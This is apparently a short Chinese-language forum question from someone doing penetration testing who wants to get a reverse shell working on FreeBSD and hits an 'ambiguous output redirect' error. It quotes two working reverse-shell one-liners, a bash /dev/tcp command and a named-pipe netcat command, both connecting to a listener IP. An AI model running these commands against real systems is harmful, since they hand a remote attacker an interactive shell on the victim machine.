最近在尝试渗透测试,需要使用反向shell技术进行测试,之前在Ubuntu上使用过反向shell,命令如下:
/bin/bash -i >& /dev/tcp/<Listener IP>/9090 0>&1
现在,我想在 FreeBSD 系统上实现相同的操作以进行测试。
我找到了这个网站Reverse Shell Cheatsheet,看到了以下命令:
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4242 > /tmp/f
但是,当我尝试实现它时,我遇到了“模糊的输出重定向”错误。最初,使用nc <Listener IP> 9090
成功。因此,我正在寻求帮助来解决这个问题。谢谢!